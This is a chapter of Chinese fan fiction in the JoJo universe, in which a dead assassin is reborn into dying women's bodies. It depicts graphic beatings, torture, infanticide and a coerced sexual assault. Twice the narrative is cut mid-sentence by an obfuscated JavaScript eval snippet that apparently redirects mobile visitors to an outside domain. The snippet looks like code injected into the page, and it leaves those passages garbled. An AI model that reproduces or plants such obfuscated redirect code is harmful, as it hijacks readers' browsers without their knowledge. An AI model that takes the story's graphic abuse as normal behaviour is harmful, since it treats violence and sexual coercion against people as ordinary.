《[JOJO]伊莎贝拉向死而生》 1. 夜车,新人生 威尼斯的晚风很凉,我倒在地上,身下的血凝结成冰,我觉得很冷。血全流进我眼睛里了,视线一片模糊,可我连抬动眼皮的力气都没有。 我眯起眼睛,努力地往远处看,天空已经隐约泛白,是凌晨了。我看见加丘,他被钉在路灯的尖刺上,手指间还紧紧地夹着那张光盘。他身上的冰甲已经有一部分开始融化成水,淅淅沥沥地往下淌。那名金发的新人,穿着粉色西装的乔鲁诺乔巴拿向我走来,从我的视角只能看见他尖头的皮鞋。 我看见他们在他加丘失去意识后从他紧攥着的手里夺过那张光盘,我感到不甘。就差一点,就差那么一点点……可事到如今我唯一能做的就是躺在原地等待自己的死亡。我看见黄金体验举起了拳头,遮住我头顶的一小块太阳。 在生命的尽头,我突然荒唐地想道:如果能重来一次,我会不会做得比现在更好?叫我用什么来交换我都愿意,可我知道人生不能重来。我想起里苏特,他从昨天晚上就开始失联,他现在怎么样?凭他自己还有可能力挽狂澜吗? 里苏特永远是那个最沉默最可靠的男人,因此即便我知道我们如今的处境,我也仍然怀抱着一丝微弱的希望。如果真的有哪怕万分之一的可能,如果…… 我的视线模糊起来,我听到枪声,在子弹击中我之前,我闭上了眼睛。 — 不知过了多久,剧烈的疼痛减弱了些,可我还是虚弱。我觉得这种黑暗持续了很久很久,我的眼皮很沉,费了很大的力气把它们撑开。 一阵嘈杂传进我的耳朵,昏黄的灯照在我的眼皮上,我从眼皮的缝隙里看到很多年轻的身影,有男有女。我听见音乐声,酒杯碰撞的声音,还有女孩们叽叽喳喳的声音,随之一股酒精的气味钻进我的鼻腔。 我睁开眼,头顶的射灯投射出暧昧的橙红色光晕,这似乎是一间酒吧。我旁边的女孩见我醒了,连忙拿一条胳膊扶起我,“——看看你们干的好事,我就说这酒度数太高啦,害得她现在才醒!” 她又立刻贴上我的身体,“不过你没错过什么,亲爱的,正好到最精彩的部分!安吉和马修抽到了一号和三号牌,他们要接吻两分钟!你记得她抢了谁的男朋友吧?没错……” 我还没缓过神来,头脑一阵眩晕,安吉,马修,我转过头,看着身边女孩卷翘的金色长发,这些面熟的脸,酒吧,纸牌,暧昧的国王游戏——我低下头,长手套的外面突兀地戴着一块手表,指针指向凌晨一点整。一种我本不相信存在的可能性钻进我的大脑。 “斯黛拉,”我问离我最近的女孩,“今年是哪一年?” 斯黛拉愣住了,所有人都安静了两秒,随后一阵大笑。安吉大笑道都怪你们,哎呦,我们的小姑娘被灌到脑袋出问题了,连今年的年份都不记得啦! 他们笑个没完,我没心情搭理他们,我瞪着眼睛,仍旧心有余悸,仿佛上一秒我还在承受死亡的痛苦。劫后余生的感觉充斥了我的胸口,我真的像我想象的那样重新获得了第二次人生,我记得这家店——十九岁时我在这里做陪酒女,一年后我因为被卷入了□□交易的风波而加入了热情。 十九岁,十九岁,如果现在的确是真实的,那么我还有大把时间——我迅速地站起来,无视斯黛拉的叫声,从他们中间穿过去,径直往屋外跑。所有人都没反应过来,片刻后卡洛琳第一个出声:“嘿,别管她了,她总是怪怪的——你们两个还不开始吗?” 街上下着小雨,我大步跑在人行道上,一路上几次险些摔跤,我一直跑到暗杀组最初据点的那个巷口,在我记忆中的拐角转弯,停在一扇门的前面。我拧了两下门把手,门是锁着的,只好改为敲门。脚步声由远及近,我忍不住开始回忆自己十九岁时暗杀组是什么样子,那时里苏特刚当上队长,队伍里的人少的可怜,经常因为些观念不和的小事吵架—— 门被打开了,一个金色头发的男人为我拉开门,他疑惑地看了我一眼,他是杰拉德。我刚想开口,却发现他像想起了什么似的回过头,“马吉欧,霍尔马吉欧——”杰拉德冲着楼上喊,“你点的小妞来找你了!” 什么小妞不小妞的,我告诉他我不是什么□□的按摩技师,我是伊莎贝拉,你应该知道的,我和你们……他连忙摆摆手表示别拖他下水,他可不认识我。他笑起来的样子像只狐狸。随后他又扯着嗓子喊了两句。 “喂,你是不是欠着人家钱?快点儿,她要账到我头上来了,还说她有名字,她可不是一般的婊子——嘿,你不能进来!” 我无视杰拉德的呼喊,径直走进了客厅。我看见里苏特坐在那张单人沙发上,而杰拉德坐在索尔贝腿上,两个人叠在一起。出乎我意料的是这里的一切基本都没有变,包括墙上那面大镜子。我有点毛骨悚然,因为我后知后觉地意识到伊鲁索这时还没有加入暗杀小队,这里应该没有这面镜子才对。 霍尔马吉欧慢慢悠悠地从二楼下来,手里拿着一罐啤酒,他看见我,露出和杰拉德一样疑惑的表情,然后他骂道你小子耍我,我从来没见过她。他说都差不多,反正她们也冲业绩——你是不是欠她钱?她刚刚一直强调她认识我! 我和他们心里有着同样的疑惑。按理说这个时候我已经加入了暗杀组才对,他们不可能不认识我——我还想往里走,被索尔贝一条腿挡住,他面色不善,黑眼睛紧紧地盯着我。我抬起头,对着那面镜子愣住了。 我看见一头金棕色的头发,打了唇钉的嘴唇——我看见那个女孩,她有一双蓝色的眼睛。 我感到一阵头痛和眩晕,踉跄着跪到地上,控制不住地闭上双眼,预想的一片黑暗并没有到来,反而有一串胶片一样的画面在我眼前徐徐展开——我听见一个熟悉的女声。 ——斐伊,19岁,出生在西西里村庄的普通乡村女孩,本是普通到不能再普通的存在。17岁时双亲去世,远离了家乡,在夜场做陪酒女而谋生。 斐伊,斐伊,我当然知道她的故事,在我加入□□前我们曾无话不谈,后来她沾染了毒品,从此所有钱都拿来买粉,最后身体支撑不住,死在了她居住的小阁楼里,死时还没有满二十岁。我不想看下去了,但我什么都做不了,只能眼睁睁看眼前的画面像幻灯片一样不算闪回,直到我站在这里的此刻。 “——你是什么人?” 霍尔马吉欧的话将我拉回了现实,我定定地站在原地,所有人的视线都集中在我身上。我的心情一下从回到过去的惊讶和激动转为了绝望。我不知道我该怎么说——我是你们的同伴,但是现在不是,我被困在这个身体里了,并且我来自未来所以我知道你们每个人都要死了?我觉得我会被抓进精神病院去。 我尝试了一下,放不出替身,斐伊只是个普通人。我只能慢慢地把身体往门口挪,准备逃之夭夭——下一秒霍尔马吉欧很快地绕到我身后去,把手贴在我胳膊上,表情似笑非笑。 于是我做了我恐怕这辈子最为错误的决定:大喊你们不能伤害我,因为我知道你们正在调查老板,我知道你们的把柄。话一出口我立刻开始后悔,这下我的身份一下从一个走错门的妓女变成了老板派出来威胁的手下。我感到心脏几乎停跳了两秒。我现在不是伊莎贝拉,而是一个陌生人,他们不会因为这句不痛不痒的话而饶我一命,相反地,他们更会毫不犹豫地解决我。 “伊莎贝拉,我是伊莎贝拉!”情急之下我突然灵光一闪,指着里苏特腿上那台电脑叫道,“——这件事很难解释,但组织的档案里肯定有我的资料!等到你们确认后,我大可以把所有事跟你们讲明白……” 里苏特没回答我,客厅里变得非常安静,只能听见他手指敲键盘的声音。我还听见我的心跳,我出了一身的汗,浑身发抖,算是确确实实地体会了一把平时被这帮人带回来审讯的人质的心情。 我不知道过了多久,霍尔马吉欧把手搭在我肩膀上,我大气不敢出,也不敢抬头去看任何一个人。直到我听见啪的一声,里苏特把电脑合上——“组织里并没有叫做伊莎贝拉的人,不如说,这片区域的档案里都没看到你的名字。” 我悬着的心终于死了。现在一切解释都显得苍白,我就像一个浑身都是破绽的间谍被扔在了暗杀组的据点里。现在的伊莎贝拉在哪儿?难道回到过去的代价就是我本人会消失吗?我没多想,也没有时间给我多想,我看见杰拉德站起来,冲我走了两步,同时霍尔马吉欧松开我。我下意识地又后退了两步。 “——别怕,别怕,我从来不打女人。” 杰拉德的语气很温和,表情是笑着的,可我却觉得毛骨悚然。我想这可能是因为他占比较高的眼白让他看起来不那么好惹,也有可能只是因为我看见他使了个眼色,然后索尔贝站起来,解开了衬衫的袖扣,慢条斯理地把袖子卷了起来。 我被揪着领子拎起来,扔在地上,他照着我的脸就是一拳,我重重摔到地上,这一下我毫无防备,瞬间就眼冒金星。我的鼻梁肯定被打断了,我感觉到一股热流从鼻腔里流出来。屋内的每个人都保持着沉默,有一些各做各的事,另一些在看热闹。索尔贝狠狠地踢了我几脚,我痛苦地蜷缩起来护住小腹,努力睁开眼环视四周,却并没有一个人真的在看我。这画面我见过太多次,可发生在我身上是头一回——真幽默,这算什么,报应吗? 疼痛让我没办法保持注意力集中来思考,我觉得这两脚几乎踢碎了我的内脏。杰拉德和索尔贝是小队最初的成员之一,称得上是前辈,虽然他们并不是替身使者,但本事都不小。没有一定的能力是很难在热情立足的,这一点我再清楚不过,更何况我现在只是个普通女孩,只能倒在地上挨拳头,我甚至没力气去还手。 意识模糊的时候我听见霍尔马吉欧跟他说了句什么,大概意思是差不多得了,给我留一口气,他还要玩。我强迫自己不去想霍尔马吉欧口中的“玩”究竟是哪种方式,他有几十上百种折磨目标的方法,在他手下再嘴硬的人也会开口求饶。 索尔贝松开我,理了理袖子,回到那张沙发上给杰拉德当人体坐垫。我感觉浑身上下没一块是完好的,我站不起来。霍尔马吉欧再次抓着我的领子把我拎了起来,绿眼睛直勾勾地盯着我。 “是谁派你来的?” 我欲哭无泪。我怎么知道?如果我现在跟他说什么穿越或者时空错乱的事他保准会觉得我是个精神病,然后把我扔到下水道冲走。但要是让他察觉到我说谎我一定会死得更惨。妈的,重生后就因为这么一个莫名其妙的理由死了,这也太丢人了吧?! 反正也是死,又不是没死过——我心一横,真的把我现在所知道的一切都告诉了霍尔马吉欧。他用一种很复杂的眼神盯着我,笑了。 “真没办法啊——看来你的脑袋被打坏了,是吧?我来给你清醒清醒怎么样?” 他说着,拿起桌上的半瓶酒,掐着我的下巴往里灌。冰凉辛辣的液体顺着食道往下流,我咳嗽了两声,感到腹部一阵痉挛,开始呕吐起来。 他没继续扶着我,于是我直直摔在地面上,我看到地板上一滩带血的呕吐物,感到更加反胃。我迷迷糊糊地听见他们在讨论要不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744045|157517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要让我自己把地上的东西清理干净,更想吐了。 等他玩够了,我就被划了一刀,变成了十几厘米的小人。我被扔进一个广口瓶里,霍尔马吉欧饶有兴趣地捏着瓶子上下打量,然后把我往桌上一放,不管我了。他们开始谈话,因为隔着一个瓶子我很难听清楚他们在说什么,当然他们也听不见我,所以我在瓶子里破口大骂。他一直没看我,跟其他人聊得正开心,随后随手拿起桌上剩的那半杯酒,直接往瓶里倒了进去。 酒精的气味扑面而来,浇在头顶上,我尖叫了一声。我半个身子都泡在酒里,脚下一滑,直接跌进了酒里。辛辣的液体刺激着我的鼻腔,我挣扎了一会才爬起来,大口大口地喘气。 我感觉到瓶子被拿起来,重心不稳差点再一次滑倒,我紧贴着瓶子的内壁,几乎是惊恐地看着被放大的那张脸。我觉得自己像一个标本。我想起霍尔马吉欧房间里那些死去的动物标本,感到恶心,但又想到霍尔马吉欧就是这样的人,不同一阵营的人在他眼中就像动物,老鼠,蜘蛛,或者猫。 我已经听不清他们在说什么了,酒漫过我的胸口,我努力地呼吸,他似乎看到了我在做什么,笑了一下,又说了句什么,然后把桌上的一杯咖啡倒进了瓶里。 我尖叫了一声,眼睁睁看着发黑的苦涩液体洪水一般倾泻下来,我张开嘴,液体直接灌进我的喉咙,我感到强烈的窒息感,在浑浊的液体中挣扎,渐渐地往没了力气,就这么溺死在了一个小玻璃瓶里。 — 再次睁开眼,我看到一片黑暗,地面和墙面像融为一体,但这里又不像房间。我低下头,看见黑棕色的皮肤,还有我的短裤和靴子。我又成为伊莎贝拉了。我没感觉欣喜,我凭感觉往前走,看见金色头发的青年正对着我站着,我看不清他的脸。 “——啊,你来了。” 他露出一个标准的微笑,在旁边的椅子上坐了下来。 “是你耍的花招,是不是?你这小子——” 我气坏了,抬手就想给他一拳,可我眼睁睁看着自己的手穿过他的皮肤,随后我一个趔趄,险些没站稳。我看见他手指上的戒指,还有新的黑色西装,不用猜我也知道未来发生了什么。但胜利最终属于这个十五岁的少年。 “请原谅我,伊莎贝拉小姐,我擅自替你做了决定,但我希望你能听我说完。” 乔鲁诺乔巴拿永远都彬彬有礼,他向我讲述了热情的故事——在我死后发生的故事。我不太想听下去了,可我离不开这里。我被迫知道了整个暗杀组只有我一个人活了下来,但也好不到哪去。当时他们为了抢夺disc匆匆离去,而我倒在地上,昏迷了很久,后来被路过的游客看见,我被送进了急诊室 。我活下来是因为他们觉得我死了,这听起来有点好笑。 我还得知了老板,他的名字,迪亚波罗,他的双重人格,以及他那个冒冒失失却忠心耿耿的小秘书托比欧。我没有见过老板,但我见过托比欧很多次。我很震惊,我只是觉得他有时候有些神经质,没想到他和老板是同一个人。 “你应该能猜到,这次背叛让热情损失惨重,许多小队都空无一人,短时间内很难运作下去。” 我一句话也没说,短时间内过大的信息量让我头疼。乔鲁诺则不管我,他继续说了下去。 “老成员所剩无几,大换血让许多组织都盯上了我们”年轻的教父说,“——我们统一的想法是,用镇魂曲来改变过去,进而改变我们的现在。” 你想去那你自己去!我叫道,乔鲁诺还是一脸无辜地看着我,“很抱歉,伊莎贝拉小姐。可我们需要一个特别的人,一个在几年前就与组织有联系的人,这样才有足够的时间和基础。我们需要你,伊莎贝拉。” “你就不怕我回到过去会杀了你?”我感觉好笑。 “没关系,我尊重你的一切选择,”他无辜地看着我,“——但如果我死了,一切都回到原点,你就只能在病床上度过一生,暗杀小队的其他人也只能——” “够了!”我叫道,“所以你们折腾这些并且偏偏选择了我,就是因为……” “——因为经历了热情换血的最有资历还活下来的人只剩下你,伊莎贝拉。” 他的表情看上去很轻松,仿佛我们在讨论的是明天早饭吃什么这样稀松平常的话题。 我不知道该怎么描述我现在的心情。的确,除了我所有人都死光了,留下的也基本都是年轻的新成员,我的确是合适的人选,也是唯一的人选。周围一片漆黑,安静得像死。 “你有十二次机会,对应在表盘上。你会经历不同的故事,成为不同的人,而相对的你将不复存在。如果你不想改变什么,你也可以选择保护你自己——你所附身的都是将死之人,只要你能帮助他们解除死亡的危机,你就能选择离开,不参与这次纷争。用他们的身份生活下去。我不会干涉你。” 我彻底愣住了,感觉脑子里有一大团浆糊。乔鲁诺就在这时拉住我的手,“——现在是三年前。好好享受第二次人生吧,怎么样?所有人都在等着你呢。” 所有人都带等着我。我低下头,表盘里的指针一动不动,时针精确地指向凌晨一点整。 我深呼吸——伊莎贝拉,你别无选择。 我问他如何从这里回到现实中去?接下来怎么办?他笑了笑,掏出一把手枪,黑洞洞的枪口直直指向我。 “你准备好了吗?” 我点头。随着一声枪响,我倒在了黑暗中。 —to be continued— 2. 不速之客(其一) 我首先感觉到的是寒冷,浑身上下像浸在冷水里一样——我睁不开眼,觉得被什么人困住了四肢,随后就真的被按进了冷水里,冰凉的水灌进我的鼻腔,我感到有一双手死死地按着我,我拼命挣扎,随着水花飞溅,困着我的力道松了些,我终于得以呼吸。 我听见更多女孩们的窃窃私语,她正用手举着我,我动不了。我闻到一股浓重的血腥味,有一个有些可怕的念头出现在我脑海中。 我想说话,张张嘴,可舌头不听我使唤,努力了很久也未果,我喉咙发干,发出了一声响亮的哭声。 “哇——” 一双手迅速地伸了过来捂住我的嘴,女孩们惊慌失措,而我觉得我的惊恐程度不必她们少半分。这回我确定地知道了我现在身处什么处境。 “快把她的嘴捂上!”我听到一个女声,“——如果叫老师发现了,你可就完啦!还好有我们在,要不然你死定了,你知不知道?” 一只手狠狠地掐住我的脸,我只能大哭,还被捂着嘴发不出声音。我在心里咒骂乔鲁诺,这小子真是有仇必报。 我努力了半天,终于把眼皮暂时分开了一道缝(同时我听见一声尖叫,“它睁开眼睛了!”)我看见一个金发的姑娘,穿着学校制服,衣衫不整地躺在地上,身下有一大滩血,非常虚弱。没有人注意她,所有人都忙着要杀死我。 这是一种很奇妙的感觉。我想。这个女孩恐怕还没成年,而她生下了我。她是我的母亲。 我听见砰砰的敲门声,“——你们几个在厕所这么长时间干什么?”这应该就是他们口中的老师。女孩们慌慌张张地小声商量了几句,最终一个黑头发的女孩再一次掐着我,用力地把我按进马桶水里。我拼命挣扎,水花飞溅,抓着我的女孩开始手滑,女孩们尖叫连连。 “你们到底在干什么?”老师呵斥道,“快把门打开!” 另一个金发的女孩凑到门板边上,我听见她说艾米莉忘了带卫生棉条,还痛经,她们来这里陪她,等她好点儿了就出去。艾米莉,艾米莉。我不会说话,只能在心里念这个名字,这就是我的母亲。 她们又七嘴八舌地说了些什么,女老师的脚步渐渐远了,叫艾米莉的女孩跟她们又小声说了些什么,然后我又被托了起来,我感觉到很多双手传递着我,像一条小流水线。最后一个女孩踮起脚尖,推开墙壁顶端的窗户,准备把我从窗口扔下去。 我现在只会做两件事——哇哇大哭和拼命挣扎。显然这两个举动除了消耗体力以外并没有什么实际效果。我眼睁睁却毫无办法,就这么被扔了下去,失重感让我尖叫出声,我最终砸在一块花坛里,像一滩肉酱,伴随着路过学生的尖叫,我失去了意识。 我睁开眼。 又是熟悉的一片黑暗,我维持着一个手脚扭曲的诡异姿势,好半天才从地上爬起来。 我大喘着气,还没从坠楼的痛苦里完全缓过神来。我感觉到心脏砰砰直跳,抬起头,乔鲁诺正坐在一张椅子上,他看到我,笑了一下,“——感觉怎么样?” 我抡起拳头就想打他,又想到上一次的情景,我气坏了,质问他是不是故意搞这一出来折磨我,乔鲁诺显得十分无辜,他耸耸肩,表示自己没有控制我“成为谁”的能力。鬼才信。 “伊莎贝拉,”他抬头看我,“你还要继续吗?” 我有点不敢直视他的绿眼睛。我知道我别无选择,我只能点头。乔鲁诺仿佛看出我的不安,他笑了,告诉我没必要勉强。他邀请我到他旁边坐下,我下意识后退了半步——天知道这小子又是来的哪一出。可他却只是把我的一只手放在他的手心里,告诉我他尊重我的所有选择。我自暴自弃说我太累了,我就想普普通通的过一辈子。他笑了,说好。 换做别人可能就会着了他的道。我知道他是什么意思,我的一切自由都必须在他的可控范围内。凭我所掌握的这些情报,他直接杀了我都不为过。我清楚我只是教父的一颗棋子,只能按照他规划好的路线行走。 等我回过神来,手枪已经被放在了我手中。手感是冰冷的,有点重,我看看他,他表示让我自己来,以此证明他不会动手脚。 我紧握着手枪,有点发抖。这感觉就像自杀。乔鲁诺凭借地看着我,甚至带着点温柔的笑意。我紧紧闭上眼睛,手枪抵着太阳穴,颤抖着扣动了扳机。 — 水晶灯模糊的重影在我眼前逐渐合并成一个,我感到一阵头昏脑胀,试探性地活动了一下四肢,发现自己被捆了个结实。一双手在我头顶上摆弄着什么,我闻到一股刺鼻的香薰味,有点想吐。 我眯起眼,墙上贴着的倒着的比基尼女星海报和粉紫色的暧昧灯光告诉我我依然离俱乐部不远。我觉得浑身上下像被人打了一顿一样疼,紧接着一阵天旋地转,随着绳结收紧,我才发现上下颠倒的人是自己。我被倒吊在墙上,看着一个男人把床单上的衣服扔到地上去。 我一阵头疼,眼前又开始出现那些胶片。 奥利维娅,19岁,为了还债而出卖身体,做着特殊交易的众多女孩们的一员,她把钱放在第一位,因此有特殊癖好的客人都是她在接——奥利维娅……奥利维娅,我,我。 我感到一阵头皮发麻。我知道奥利维娅的的故事。我想起奥利维娅那可以称得上是惨不忍睹的死法,她几乎体无完肤,子宫吓人地脱垂出来,下身流血,破破烂烂的像个被用过的廉价橡胶人偶, 我这才真正理解了乔鲁诺口中所谓“将死”的含义。明晃晃的吊灯在我眼中带上蓝色黄色的一圈勾边,我眼睛发干,有些绝望地想,但距离也未免有点太近了吧!? 我没有表,身上唯一跟时间搭上点边的也就是「夜车」,并且它现在什么也不是,只是沉默地指向凌晨三点整。我在心里粗略地计时,如果现在真是凌晨三点,那不出两个小时后奥利维娅就会死在这间房间里。有了上次的前车之鉴,我索性将老板的事情暂放,与其再被扔进酒瓶子里来个溺死二周目,不如为自己先做做打算。 “呃,那个……” 我舔舔干燥的嘴唇,试探着开口,“我,我能……” 那男人侧过身来,我才发现这房间里还有三个人。他们一个叼着烟,另一个摆弄着像皮带的不知道什么东西,还有一个站在旁边,全都浑身赤裸。叼烟的男人掐起我的脸,不让我把话说完,他举起烟,把烟灰弹在我的嘴里。我的职业操守跟我的生理冲动正在打架,我非常想吐,更何况我现在还倒着。我意识到奥利维娅本人可能比我更擅长应对这种问题,因为我咳嗽起来,感觉马上就要被自己的口水呛死。 那两人像看动物表演似的看了我一会儿,终于大发慈悲地解开了吊在最顶上的那个结。我扑通一声摔在床上,头晕目眩,胃袋里一阵翻涌,我干呕了两声,听见他们一阵哄笑。 得想个办法让他们松开我,这样至少还能让我在这场三男一女的单方面霸凌上多点胜算。胳膊还被绑着让我只能以一个僵硬的姿势抬着头。能不能给我点水喝,我说,犹豫了一下,又试探性地补充:主人……们? 这个称呼很明显取悦了他们。又是一阵大笑,一个高个子的男人走过来,揪住我的头发,然后直接把他□□那玩意怼到我脸上——喝水?我看你这小婊子现在更想喝这个吧! 保命要紧,保命要紧——我忍住了一口咬下去让他后半辈子都生不如死的冲动,开始做我这个身体的本职工作。我不知道乔鲁诺是不是故意的,让我每次都重生到风俗女身上,我不是很想体验什么投胎十二次归来仍在红灯区的地狱笑话。 我只能尽力伺候这些大爷,不知道过了多久,直到一个胖男人把我身上的绳子解开,我终于能活动一下喘口气。三个男人,其中两个都非常强制,而我——在奥利维娅是身体里的我,只是一个羸弱的小女人。我放弃了跟他们大打出手的计划,盘算着怎么逃出去。 我被打了一巴掌。 高个子男人骂了我一句,往我脸上吐口水。因为我在服务的时候走神。我浑身赤裸地跪坐在床上,仰头看着他。 主人,爸爸,亲爱的。我叫她,你能带我走吗?我爱上你了,我受够了这儿的生活,你能带我走吗? 他明显懵了一下。我抓住这一瞬间,抓起脚边最近的一件衣服,抽了他一下,迅速地站起来往门边跑去。 那婊子想跑!我听见他骂道。我我抓门把手,被一只手抓住了小腿,重重摔在地上。我大声惨叫,希望门外能有人发现情况不对来救我。事实证明这没用。我拼命蹬腿,手胡乱抓,抓到了一个形状古怪吓人的性玩具。 我抓住它,狠狠砸在他的太阳穴上。趁他晕头转向松手的一瞬间,拉开门把手,把衣服披在身上,拼命往外跑。我拿的是一件男士衬衫。还好它对现在的我来说比较长,不至于裸奔。 我低着头一路狂奔,我不敢想象自己现在是一副什么样子——衣衫不整,浑身湿透,没有穿鞋子。我只知道当下来看他妈的活命比很多事都重要。我一直跑,跑到脚掌流血,扑通一声跌进雨水里。我发现了两件事:一是我的确把所有人都甩得远远的,短时间内不会再有人找上来了。二是我只顾低头猛跑,全然没注意我他妈的又跑到暗杀组据点来了。 让那个叫做肌肉记忆的家伙暂时歇一歇,毕竟我还有正事儿得做。我必须得想办法拿出点什么有说服力的东西,就是让他们明白除了我们站在同一条船上之外没有任何其他可能的那种东西。我知道据点的后门,就在垃圾桶旁边管道的后面,我想着。虽然一个人穿越到过去并且还变成别人了这种事听起来根本就是扯蛋,但我得想办法解释。 我忘了他们根本不听人解释。 我站在客厅里,所有人都看着我。他们这次聚在一起。看上去我闯入了一场会议,这次的人比上次要齐。老实说,看到完完整整的暗杀小队再一次出现在面前时我还是有点儿感动的,如果这个时候没有一枚鱼钩卡着我的喉咙的话这种感动可能还会多持续几秒。 奥利维娅的身体看不见替身,但我知道是贝西在拉着我。我一看他,他更紧张,手上的鱼线又下意识收紧了些,我差点直接血溅当场。 我痛苦地指指喉咙,再指指嘴巴,想让他松开我,至少让我说句话。我立刻听见子弹上膛的声音,离我最近的普罗修特把枪顶在我脑袋上,并威胁我如果敢轻举妄动就一枪崩了我。 我无语了。我想不明白我赤手空拳甚至衣服都不完整地跪在这儿被枪指着能给他们带来什么威胁,我只能把希望寄托在嘴上,企图说点什么好让他们暂时放过我。 然后我知道了我实实在在地高估了奥利维娅的身体素质。我张开嘴,半句话都没说出来,只觉得喉咙一阵剧痛,我咳出两口血,随后就眼前一黑,仰面倒在了地上。 — 再醒来的时候我感觉到嘴里有什么东西,我下意识咬了咬,像皮革,然后那东西动了一下,我吓了一跳,睁开眼,对上梅洛尼的绿眼睛。那是他戴着手套的手指。他看着我,笑眯眯的,说你醒啦? 我揉揉脑袋坐起来,还是感觉有点头晕目眩。我甚至以为自己刚才就这么丢人地交代在这儿了。梅洛尼坐在地上,把娃娃脸搁在腿上敲键盘,他说他检查了我的身体,我是双子座B型血,还说我的身体太差,很多指标都比正常低,免疫力差,还贫血。 我不太想知道他是怎么检查的,也不想听他在这给我体检。会议可能散了,客厅只剩我们两个人。也许是看到了我在四处张望,他说里苏特叫他给我做检查,以免我有什么传染病。他用了比较委婉的说法,但我知道他什么意思。我觉得又好气又好笑,他们以为我这是什么,自杀式恐怖袭击?我说所以结果呢?他很自然地说没有,不过你一个多小时前刚被同时走了前门和后门。里面有至少三个人DNA。你是妓女吧? 这下我更不想知道他是怎么检查的了。我想躺回地上装死,但我现在的身份的确可疑,我也算是捡了条命,本应该谢天谢地,没理由跟他们置气,更何况梅洛尼现在是唯一愿意听我说话的人。我说是。他露出了然的表情,问我一路找到据点里要做什么,能从后门溜进来,说明你对我们有一定程度的了解,你不是一般人,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744046|157517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧? 每个人都不听我说话,现在真有人听了,我反而觉得有点心累。我说是,何止是一定程度的了解,我知道你是梅洛尼,替身是娃娃脸,能力需要到处找女人当母体然后生小孩,我知道你不抽烟也很少喝酒,但是你嗑药,精神药物和止痛片,麻药对你没效果就是因为你曾经滥用吗啡——我还没说完,被他突然猛地揪住了领子。 梅洛尼注视着我,他收起了笑容,表情很平静,但非常可怕。梅洛尼是那种发起火来也很平静的人,但不意味着他不危险。他质问我究竟是谁派来的,调查他们有多久——我意识到我又忘了自己不是伊莎贝拉了,我应该清楚自己现在的身份。我慌极了。连忙举起双手,求他听我把话说完。其实我觉得我现在有点没出息,但谁管呢,命最重要,现在好不容易有眼前的机会,我可不想再经历一次死亡然后再在莫名其妙的地方醒来,然后历经千辛万苦找到这儿还有可能继续被审讯被折磨的轮回了。 我说几天前是不是来过一个像精神病一样的女人,和你们说什么未来什么穿越的事?她后来被装在瓶子里弄死了,你不可能不知道!他有点不敢置信地瞪大了眼睛,表情由愤怒变为兴奋——你认识那个女人,不,你是那个女人?! 梅洛尼在这方面的接受度比其他人高。可能是因为他的替身机制本身听起来就已经够魔幻了。不过这一点我很高兴。我终于在这个世界里找到了第一个相信我并且愿意听我把话说完的人。我说她提到了一个名字,叫伊莎贝拉。虽然他也不知道伊莎贝拉是谁,不过他对我产生了极大的兴趣,他抬起头喊人,把所有人都从楼上叫出来,他想让所有人都听听我说的话。 我又犯难了。我知道不是每个人都像梅洛尼这么好说话。果不其然普罗修特骂他是不是嗑大了。他皱着眉瞥了我一眼,估计是没想到我还能醒。贝西怯生生地站在他身后,我猜他肯定挨训了,因为刚才发生的一切就像是据点里闯入了一个莫名其妙并且十分可疑的人,而他在所有人还没能问个明白的时候就把这人弄死了。他看到我没死应该是松了一口气的。 梅洛尼替我说了两句话,他说是真的,不然她怎么会知道那女人的事?普罗修特白了他一眼,说这不更能说明她在监视组里吗?我觉得我可能这辈子也解释不明白了,他看我一直盯着他,更来气了,直接抬腿给了我一脚。 我不知道自己现在是什么表情,但肯定算不上好看。我自暴自弃地说你们弄死我算了,谁来都可以,反正我还会再回来,会有下一个这么说的人来找你们的,我会阴魂不散地永远缠着你们! ——其实说完这话我自己是有点后悔的,因为我意识到他们中超过一半的人都不介意按我说的做。但我看到有些人表情变了。伊鲁索笑了一下,他看向我,说别以为拿些恐怖片的桥段就能唬住他们,如果我说的是真的,就拿出点证据来证明几年前我就是他们的一员。 他这个机会给的恰到好处,我终于有了还嘴的权利。我说好啊,伊鲁索,我知道你第一次杀人的时候吓哭了。 屋子里每个人的表情都很精彩。霍尔马吉欧是第一个笑出声的。从伊鲁索的反应来看,我说的一定没错,因为他现在看上去非常想直接一枪崩了我。他急了,叫道你别胡说八道,我说你干过的蠢事儿我还能掰着手指头数出至少十件。反正已经成了这种局面,我不是很介意把这场拷问变成黑历史检讨大会。 场面一度十分混乱。伊鲁索冲上来要揍我,霍尔马吉欧拦着他,他笑的上气不接下气,明显看热闹不嫌事大,说你让她说啊,我倒是比较想听听她还能说出什么来。梅洛尼从坐在地上转移到坐在沙发扶手上,他还在敲键盘。我不知道他在干什么。很多人在看热闹。 “够了。” 里苏特一开口,其他人都安静了下来。他走到所有人前面,俯视着我。我下意识仰头,这个视角更显得他吓人。 “也许相同的事情发生了两次并不是巧合,也许你说的是真的,但你需要证明你的确有足够让我们留下你的价值,否则我们没必要在你身上浪费时间,哪怕相同的事情会发生几次,几十次,甚至几百次。我们会杀了你,无一例外。” “——还有,”他补充道,“忠诚。” 我感到一阵无力。这两句话的确让我重新认识到了自己的地位。我再怎么证明也没有用,这里没有伊莎贝拉,也不会有,我唯一能做的就是把我知道的告诉他们,改变命运的事情先不说,我至少现在得活着。 特里休。我说。老板在撒丁岛有一个女儿,叫特里休,特里休·乌纳。请你们去查吧。 